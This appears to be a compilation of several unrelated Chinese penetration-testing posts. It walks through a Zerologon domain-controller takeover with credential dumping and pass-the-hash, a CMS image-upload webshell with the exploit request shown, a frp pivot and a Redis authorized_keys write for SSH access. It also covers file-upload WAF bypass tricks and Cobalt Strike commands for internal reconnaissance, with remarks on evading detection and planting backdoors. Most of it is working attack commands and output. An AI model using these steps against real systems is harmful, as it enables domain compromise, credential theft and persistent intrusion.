ANONYMOUS 发布的文章

环境

1.攻击机 windows 10
2.域控服务器 windows server 2012 192.168.139.147
3.python 3.8
4.复现工具,大概看了下,工具基本都差不多,这个帮助写的比较详细(但是楼主在复现过程中,还是遇到许多坑),https://github.com/VoidSec/CVE-2020-1472

复现流程

1.检测是否可利用
2.将域控密码设置为空
3.恢复原来的域控密码

坑点

1.要用最新版的Impacket v0.9.22.dev1+20200915.160006.1397e2b5
2.linux下执行脚本在出现$之类的特殊字符需要转义,我在window下执行,没遇到这个问题
3.域和计算机名搞混淆,导致参数填写错误,哪个是域,哪个是计算机名,看下图

1.png

4.显示颜色乱码的话,在脚本开头处添加:

import os
os.system("")

关于坑点1:
在windows中有python启动器,py -3指定使用python3,防止选错python版本

安装impacket这步,手动安装,并且把requirements.txt中的impacket==0.9.21这行去掉,不然执行py -3 pip install -r requirements.txt安装其他库时,impacket又装一遍,会覆盖掉最新版

安装过程:
先卸载旧版本:
py -3 -m pip uninstall impacket

安装新版本:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
py -3 setup.py install

报错说明


1.AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',属于坑点1,手动安装impacket解决
2.secretsdump.py执行后无法获取NTDS.DIT信息,多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下
3.[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下,自己环境中对应的参数填写正确没。

检测和利用

关于坑点3,这一步要输入计算机名

py -3 cve-2020-1472-exploit.py -n 2k12vitcim -t 192.168.139.147

参数:

-n  计算机名
-t  域控ip

获取管理员ntlm hash

secretsdump.py -no-pass -just-dc [email protected]

参数:

-no-pass    无密码登录
-just-dc    仅提取NTDS.DIT​​数据(NTLM哈希和Kerberos键)
[email protected] [email protected]

正常的输出:

Impacket v0.9.22.dev1+20200915.160006.1397e2b5 - Copyright 2020 SecureAuth Corporation

<li> Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
<li> Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3c39341d869ebba9f4d09b58adf16868:::
此处省略
<li> Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:73ecb6feb447b5c734f1b6819b7dea3d91165f6d1c6fefc9169208c8548bfeaa
此处省略
<li> Cleaning up...

获取域控shell和导出域控计算机帐户的原始NT哈希

执行以下命令,获取域控的shell:

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3c39341d869ebba9f4d09b58adf16868 [email protected]

参数:

-hashes 域管理员的nthash:lmhash
[email protected]  [email protected]

然后在获取到的shell中执行以下命令,导出域控计算机帐户的注册表文件

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

get system.save
get sam.save
get security.save

del /f system.save
del /f sam.save
del /f security.save

执行以下命令,在本地获取域控计算机帐户的原始NT哈希:

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

正常的输出:

Impacket v0.9.22.dev1+20200915.160006.1397e2b5 - Copyright 2020 SecureAuth Corporation

<li> Target system bootKey: 0xb1a104ff3738f1a53c78e57a6662ea84
<li> Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3c39341d869ebba9f4d09b58adf16868:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<li> Dumping cached domain logon information (domain/username:hash)
<li> Dumping LSA Secrets
<li> $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:e0bf26bbac26ad8eb7d529565a8d3497059197aef079318a68c94f05376dda655ceafa4c385630ad0a99067f7e80cea795eb42e7043d57942cb4d131c4a4cd95cfd3e245180f72c887ad5bddaddea4b778a536ccaf75152cfc2efedbd09b74fa77766c5258fb01eeb43574e5aa1a4572b79a6d54c7ccf212543cc4e31def988ac32f0a6b1185b85150bc6ff1a074864d5808c23f4afc05c08da37d89591c7711d4246639c35e780a006c967424b5373adf2559af2196ee0dcfed57fadf5d59603fbb193382decccdde1ff3e1edd2691c04d618f4c72ac9b579c54df2c53378ec5df50ec766b1dcbe87566af365eb2ba1
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:8a8fea4a70166fae078958bf69441290
<li> DPAPI_SYSTEM
dpapi_machinekey:0x6750d5c297f09dcbc8c595d3b578d1e6bcf99fd2
dpapi_userkey:0x7f509a6c59339522545664b4db73d393d15bd2e3
<li> NL$KM
0000   58 98 99 4F 48 70 C3 24  65 38 D0 73 05 8A 4F BA   X..OHp.$e8.s..O.
0010   F7 AD DC 33 DA E2 D3 2F  B7 4A 72 D6 C7 55 8A 90   ...3.../.Jr..U..
0020   59 52 74 40 99 77 FA D6  BF 4C 5A B7 A4 8B 43 DE   YRt@.w...LZ...C.
0030   E8 39 6F BA 39 D3 C6 DF  E4 3C 73 98 1E 23 DC 09   .9o.9....<s..#..
NL$KM:5898994f4870c3246538d073058a4fbaf7addc33dae2d32fb74a72d6c7558a90595274409977fad6bf4c5ab7a48b43dee8396fba39d3c6dfe43c73981e23dc09
<li> Cleaning up...

恢复原来的域控hash

使用上一步中,$MACHINE.ACC:plain_password_hex:后面的值作为参数,执行:

py -3 reinstall_original_pw.py 2k12vitcim 192.168.139.147 e0bf26bbac26ad8eb7d529565a8d3497059197aef079318a68c94f05376dda655ceafa4c385630ad0a99067f7e80cea795eb42e7043d57942cb4d131c4a4cd95cfd3e245180f72c887ad5bddaddea4b778a536ccaf75152cfc2efedbd09b74fa77766c5258fb01eeb43574e5aa1a4572b79a6d54c7ccf212543cc4e31def988ac32f0a6b1185b85150bc6ff1a074864d5808c23f4afc05c08da37d89591c7711d4246639c35e780a006c967424b5373adf2559af2196ee0dcfed57fadf5d59603fbb193382decccdde1ff3e1edd2691c04d618f4c72ac9b579c54df2c53378ec5df50ec766b1dcbe87566af365eb2ba1

正常的输出:

reinstall_original_pw.py 2k12vitcim 192.168.139.147 e0bf26bbac26ad8eb7d529565a8d3497059197aef079318a68c94f05376dda655ceafa4c385630ad0a99067f7e80cea795eb42e7043d57942cb4d131c4a4cd95cfd3e245180f72c887ad5bddaddea4b778a536ccaf75152cfc2efedbd09b74fa77766c5258fb01eeb43574e5aa1a4572b79a6d54c7ccf212543cc4e31def988ac32f0a6b1185b85150bc6ff1a074864d5808c23f4afc05c08da37d89591c7711d4246639c35e780a006c967424b5373adf2559af2196ee0dcfed57fadf5d59603fbb193382decccdde1ff3e1edd2691c04d618f4c72ac9b579c54df2c53378ec5df50ec766b1dcbe87566af365eb2ba1
Performing authentication attempts...

======================================================================================================================================================================================================================================================================================================================================

NetrServerAuthenticate3Response
ServerCredential:
Data: b'xdexcfAaQ3x1a*'
NegotiateFlags: 556793855
AccountRid: 1002
ErrorCode: 0

server challenge b'xdeax10x90x15qxc3t'
session key b'Usxb2xd9#x8cx132x98Zv,xb6xb5S^'
NetrServerPasswordSetResponse
ReturnAuthenticator:
Credential:
Data: b'x01x14xd2xd0x11xb9x02xc4'
Timestamp: 0
ErrorCode: 0

Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.

攻击机:kali2020
受害者:windows2008
poc:https://github.com/SecuraBV/CVE-2020-1472
exp:https://github.com/dirkjanm/CVE-2020-1472

1.本地搭建一个域环境

1.PNG

2.PNG

2.使用poc验证
既然提示安装东西,那就 pip install -r requirements.txt,之后再执行 python3 zerologon_tester.py <主机名> <ip>

3.PNG

3.使用exp攻击,但是这个时候很多人的脚本回报错,是因为缺少 impacket,https://github.com/SecureAuthCorp/impacket,python3 setup.py install //安装impacket,然后执行exp
python3 cve-2020-1472-exploit.py owa 192.168.137.137

4.PNG

4.使用impacket的secretsdump.py导出域控制上的hash
python3 secretsdump.py god.org/owa$@192.168.137.137 -no-pass

5.PNG

5.利用获取到的管理员hash来远程操作域控服务器
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13cf6cfe1f2fc41cd286c7c8caec978b [email protected]

6.PNG

7.PNG

6.获取管理员hash,远程连接导出sam数据库中的原来的计算机hash

8.PNG

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

9.PNG

7.恢复计算机的hash
下载脚本 https://github.com/risksense/zerologon
python3 reinstall_original_pw.py owa 192.168.137.137 ad611ebf4fd2de9448a33ba693b212f4 //注意hash的部分,只有后半部分

10.PNG

8.恢复计算机的hash
使用impacket的脚本来登录域控来验证hash
使用7步骤的脚本回复hash前

11.PNG

使用7步骤脚本恢复hash后

12.PNG

前言

首先,这个站点有一个前台getshell的漏洞。

1.png

2.png

根据里面漏洞代码直接取post数据后缀作为后缀这一特性,且CMS支持FTP。

利用FTP上传图片,通过下载上传的正常图片(已被PHP的GD库渲染)之后,

利用脚本在图片中插入payload,

再次利用FTP上传达到GET Shell的目的

payload如下

POST /index.php?case=tool&act=cut_image  
pic=1ftp://*.*.*.*/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

搭建FTP服务器
我这里使用ubantu进行搭建

安装VSFTPD
sudo apt-get install vsftpd
安装完成后启动VSFTPD服务
service vsftpd start
新建目录/home/uftp作为用户主目录
sudo mkdir /home/uftp,最后我搭建完,主目录不是这里,/srv/ftp,这个才是
新建用户uftp,制定用户主目录和所用shell,并设置密码
sudo useradd -d /home/uftp -s /bin/bash uftp
sudo passwd uftp
然后将目录/home/uftp的所属者和所属组都改为uftp
sudo chown uftp:uftp /home/uftp
新建文件/etc/vsftpd.user_list,用于存放允许访问ftp的用户
sudo vim /etc/vsftpd.user_list,添加用户uftp
最后设置匿名访问
vim /etc/vsftpd.conf
write_enable=YES
anonymous_enable=YES
anon_upload_enable=YES
anon_other_write_enable=YES
anon_world_readable_only=NO

重启vsftpd服务,假如不行则设置相应的权限

Getshell

步骤:
将一张比较大的图片上传到ftp,注意选图,避免踩坑
利用上述POC,将图片上传到目标服务器,上传成功之后再将图片保存下来

/index.php?case=tool&act=cut_image  
pic=1ftp://*.*.*.*/*.jpg&w=228&h=146&x1=0&x2=228&y1=0&y2=146

保存图片之后,利用脚本在里面进行加shell,脚本如

exp.txt

放入有php环境中,运行:php exp.php *.jpg,即可得到绕过GD的图片马,再将其改为php文件进行上传

POST /index.php?case=tool&act=cut_image  
pic=1ftp://*.*.*.*/*.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

3.png

反弹Shell

天下武功,无坚不摧,唯快不破,是时候祭出蚁剑了

4.png

5.png

这台机子是在内网,加上我也不会linux提权,只能代理出来看看内网有没有其他机子
我这里使用frp这一代理工具,将其上传到目标服务器

6.png

server_addr为VPS地址,port则是监听端口
配置好之后将其上传到目标,并chmod +x frpc,赋予执行权限
VPS中的

7.png

赋予执行权限,运行
蚁剑中运行frpc

8.png

Kali扫描内网
vim /etc/proxychains.conf

9.png

修改好之后进行保存,使用nmap进行扫描常见的端口进行探测

proxychains nmap -sT sV -Pn -n 172.20.0.1-255 -p 80,8080,445,3306,1433,7001,6379,9090,50000,50030,7002,3389,21,22

10.png

发现172.20.0.2这台服务器开放6379端口,可以尝试扫描其是否存在redis未授权访问等漏洞

11.png

1.py代码如下

#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2019/9/2-17:35
"""
import socket
import sys

passwds = ['redis','root','oracle','password',[email protected]','abc123!','123456','admin','abc123']

def check(ip, port, timeout):
try:
    socket.setdefaulttimeout(timeout)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print u"[INFO] connecting " + ip + u":" + port
    s.connect((ip, int(port)))
    print u"[INFO] connected "+ip+u":"+port+u" hacking..."
    s.send("INFO\r\n")
    result = s.recv(1024)
    if "redis_version" in result:
        return u"[HACKED] 未授权访问"
    elif "Authentication" in result:
        for passwd in passwds:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("AUTH %s\r\n" %(passwd))
            # print u"[HACKING] hacking to passwd --> "+passwd
            result = s.recv(1024)
            if 'OK' in result:
                return u"[HACKED] 存在弱口令,密码:%s" % (passwd)
    s.close()
 except Exception, e:
    if len(e.message) != 0:
        print u"[ERROR] "+e.message
    return u"[INFO] 目标Redis服务,暂不存在未授权和弱口令漏洞!"

 if __name__ == '__main__':
 ip=sys.argv[1]
 # default Port
 port="6379"
 if len(sys.argv) >= 3:
    port=sys.argv[2]
 result = check(ip,port, timeout=10)
 print result
 if "HACKED" in result:
    print u"[END] Start your hacking journey !!!"

kali安装redis

wget http://download.redis.io/releases/redis-2.8.3.tar.gz,下载
tar -zxvf redis-2.8.3.tar.gz,解压
cd redis-2.8.3/
make, 编译

redis漏洞利用
修改frpc.ini,将172.20.0.2的6379转发到VPS中的6379中

12.png

修改完成之后,重新启动代理
随后kali中生成一个公钥

ssh-keygen -t rsa

13.png

默认情况下,生成后在/root/.ssh 目录下,将生成的公钥的值写入目标服务器

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

查看是否生成

14.png

将这个文件写入进去

cat /tmp/foo.txt | /root/redis-2.8.3/src/redis-cli -h VPS -p 6379 -x set cracki

15.png

连接进去,将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys,通过 save 指令即可写入文件

16.png

最后再修改frpc.ini,进行转发22端口

17.png

重新启动frpc

ssh -p 669 [email protected] -i /root/.ssh/id_rsa

18.png

利用成功

背景:去年实习的时候开始接触渗透,太菜,就偶尔在EDUSRC捡洞(资产多,WAF多,坑多),主要是挖一些上传,逻辑,注入等基础漏洞,不建议拿一把梭工具扫,除非自己挖的通用洞或是对该漏洞原理理解深刻,不然成长不大。
文件上传漏洞的介绍很多,就不废话了,下面讲讲如何快速判断文件上传漏洞是否客观存在与WAF绕过。

Upload步骤

1.png

1.直接前端上传正常文件,burp截断只修改任意后缀判断黑白名单(略过content-type/前端js判断)。
2.传不上去就是白名单限制pass基本没得搞,传得上去就是黑名单或是未做限制。
3.webshell上传能落地,能拿到文件url,能web访问,能解析-->>getshell。
上面就是Upload漏洞的判断步骤。
下面来说说已经判断是黑名单后绕过上传点的限制与WAF的限制。
判断程序本身限制与WAF限制
1.程序本身黑名单限制:返回包通常会有上传文件格式不允许意思的字样
2.WAF限制:返回页面通常会是WAF的拦截页面或是该次请求被重置reset无响应包
后缀绕过黑名单的限制
Windows:
大小写不敏感,[空格],命名不允许的特殊字符,::$DATA。
命名不允许的特殊字符/?

2.png

3.png

4.png

::$DATA

5.png

6.png

空格

7.png

Linux:
可以试试/

8.png

拓展名:
asp/cer/asa/cdx
aspx/ashx/asmx/svc... cshtml/vbhtml(.net4.0支持Razor)
jsp/jspx
php...
绕过WAF限制
维度:文件落地(后缀/内容),能访问,能连接
这里主要讨论webshell后缀的落地
Content-Disposition: form-data; name="file"; filename="test.php"
通常检测就是这个字段,先说针对后缀绕过的方法:构造当前能识别的正常文件的畸形包(.png),然后再改后缀,反正是服务器能解析,WAF不认识。主要是对上述字段做畸形。
我遇见的常见的WAF有安全狗,Yxlink-WAF,云锁,玄武盾,创宇盾,WTS-WAF,qianxin-WAF,WAF2.0
这些WAF都能在后缀落地的阶段绕过,每家WAF对后缀判断的具体的位置不同,就不一一说明了
例如某WAF:

9.png

filename参数去掉引号就可以过了,这里告警是因为内容免杀没过
Content-Disposition这一行可以动手脚的地方很多,师傅们可以自己试试,后缀都能bypass。
还有个有意思的:

10.png

11.png

asp上传错误,cer成功,这个场景就是程序黑名单+WAF,可惜貌似WAF不认识Data URI Schema的文件上传,没找到后缀的可控点,所以WAF就没有拦。
有些WAF可能会阻止某些路径(upload)下访问脚本文件,可以试试这个

12.png

只是简单匹配URI的话,这个可以过
过内容的话,可以发大文件或是免杀的webshell...

13.png

过连接的话,自己改改通信的数据特征....

0x01 实战场景说明

实战中可能会经常遇到这样的情况,比如,前期在外网打点过程中肯定会搜集到非常多的目标敏感资产,包括跑在各种子域上的各类敏感Web业务系统,典型的,如, VPN, MAIL, OA, 运维管理平台, 财务系统, HR系统, SSO, 客户订单系统 , Citrix, 监控系统, 堡垒机 [这种一般也不大可能会直接把它暴露在外网,但不代表没有],各类EDR Web主控端, 防火墙/路由/视频监控设备的web管理端, 各种其它内部系统 等等等...ok, 问题来了,当我们费尽千辛万苦顶到内网之后,该怎么去快速精准定位刚刚在外网看到的这些敏感资产所对应的内网位置呢

在此之前有必要简要说明下为什么要去做这种定位,一方面,一般授权的渗透都是有明确目的的,比如,需要拿到目标内网的某某核心业务系统权限,某某集中控制系统权限,某某数据 等等等...要拿到这些东西的前提是,得先搞清楚这些资产都放在了什么地方,换句话说,万一后面从其它地方搞到了密码,总得有个入口试

另外,知道了这些资产的大概位置,对下一步具体该怎么更高效的搞也是有一定参考意义的,总的来讲,知道这些以后会让整个后渗透过程变得的更有针对性,也不至于搞着搞着就迷失放飞自我了[尤其当内网规模特别大的时候]

另一方面,则是考虑到后期把整个内网搞定之后,为了能挑个更合适的位置给自己布口子 [此处的口子,可以是个账号密码,也可以是个webshell,或者系统后门,甚至是人为构造的漏洞,并不局限],此处会介绍三种比较常用的内外网资产对应关系定位方式,其实非常简单,如下:

0x02 实操过程

第一种,就是把前期在外网搜集到的目标子域 [从外网搜集到的子域可能并不会非常多列表整理好,拿到内网循环ping,然后把解析到的ip截下来

1.png

如下便可清晰的看到各个资产所对应的具体内网ip,从中也可顺便发现一些通过其它手段可能并不太好发现的内网段,在后续渗透中如果遇到这些ip 着重下关注即可

for /f "delims=" %i in (host.txt) do @ping -w 1 -n 1 %i | findstr /c:"[10." /c:"[192." /c:"[172." >> C:/users/public/out.txt

2.png

第二种,dns 暴力枚举

通过第一种方式,确实可以定位到一些资产,但那个子域列表毕竟是从外网抓取的,漏一些在所难免,所以还需要在内网再进行一次dns枚举,内网抓到的结果肯定要比外网多的多,但前提是得先有个内网的dns ip, 怎么在目标找内网dns,方式无非两种,第一种,假设当前已控机在域内,系统网络配置里就有主备dns的ip,后续直接指明用这个ip来枚举即可

beacon> shell ipconfig /all

3.png

另一种,假设当前已控机不在域内,则可以直接扫下内网的53 [tcp & udp 53同时开的一般都是] 端口,或者看下当前机器的dns缓存,通常也是可以找到的。

beacon> portscan 192.168.137.0/24 53 none 256
beacon> shell ipconfig /displaydns

4.png

有了DNS ip,接着就可以拿着这些ip进行暴力枚举 [关于dns枚举的原理非常简单,不再废话,不清楚的弟兄请稍后自行谷歌,能找到多少,看字典],枚举完成后会自动存到csv,如下的工具是基于go的 [个人对于工具的原则,如果不是奔着纯练,学习别人代码或者商业化目的去的,建议能用开源的就用开源的,后面基于之上进行二次开发即可,没有太大必要所有事情都一定从0到1的重复劳动,不如把时间留在更有价值的地方,去创造而非模仿]

https://github.com/Q2h1Cg/dnsbrute (注: 工具有用到Crypt 360会杀)

down下来自行编译即可,关于go多说一点,编译后体积过大,实战中不好上传,都是没办法的事,虽然可以通过调参,upx压缩来减小体积,但upx [亦可用其他压缩壳代替] 这种360会杀,不过,我们可以自己用其他语言实现然后合到cs中,难度不大

beacon> shell dnsbrute.exe -domain tagetDomain.com -dict SubDomain.txt -rate 1000 -retry 1 -server 192.168.137.11:53
beacon> shell tasklist | findstr "dnsbrute.exe"

5.png

第三种,内网批量抓取 Web Title & Header

通过把上面两种方式获取到的结果汇总去重,其实已经能定位到一部分资产了,但这显然还是不够清晰,有了上面那些现在也只能告诉我们大概哪个资产域名对应的是哪个内网ip,其实也并不知道这个ip现在到底还存不存活,上面跑的什么服务,什么业务 等等等...

所以,现在还需要再针对这些ip的Web Title & header集中进行一次批量获取,当然,这只是针对Web的,至于其它的各类服务端口banner,后续会单独说明,有了title和响应banner,才好确定下一步哪些是可以优先搞的

另外,你也可以拿着在内网抓到的某些title去外网的各种引擎上搜[ fofa,shodan,google,bing...],以此来大致判断其所对应的外网位置,方便后期找个更合适的点留口子,关于内网抓title,此处已经写好了针对Windows 和 linux扫描脚本,非常简单,只是简单配合curl 实现的一个粗糙的端口扫描功能,不要问我为什么用批处理和shell,简单,快[两分钟实现],系统内置方便,非常适合专门用来写些简单的demo,前提是你的cmd.exe没有被各种杀软强奸,如下实际扫描效果。

Win下:

6.png

Linux下

7.png

说到内网扫描,多提一句,个人非常不建议,同时针对一个ip扫多个端口,如果你不想被封的那么快 [ 实际扫的时候想完全不被对方看到,其实也不太现实,除非你运气足够好,对方正好把你的流量全都漏了,只是到不到阈值,会不会触发报警的问题 ,另外,顺带提下痕迹清理的事情,其实很多东西是不太好清掉的(可能也只是需要更多的时间) ,如果别人真想查,还是能查到一些东西,考验的更多的是海量数据分析处理精度的问题,先不说各种日志,比如流量,只要不是全程加密,你传的工具,执行的命令...在里面都一清二楚(没错,如果可以的话,你是可以尝试利用这种方式直接从流量里收割别人的好工具的),内网一堆探针和出口镜像是很难保证完全的隐蔽,有些设备还是可以的,更多还在于实际用它的人 ],更建议同时针对特定的ip列表只扫一个端口,现实会告诉你,这种方式绝对要比前面那种好,虽然站在检测的角度,两者其实并没有太大的区别。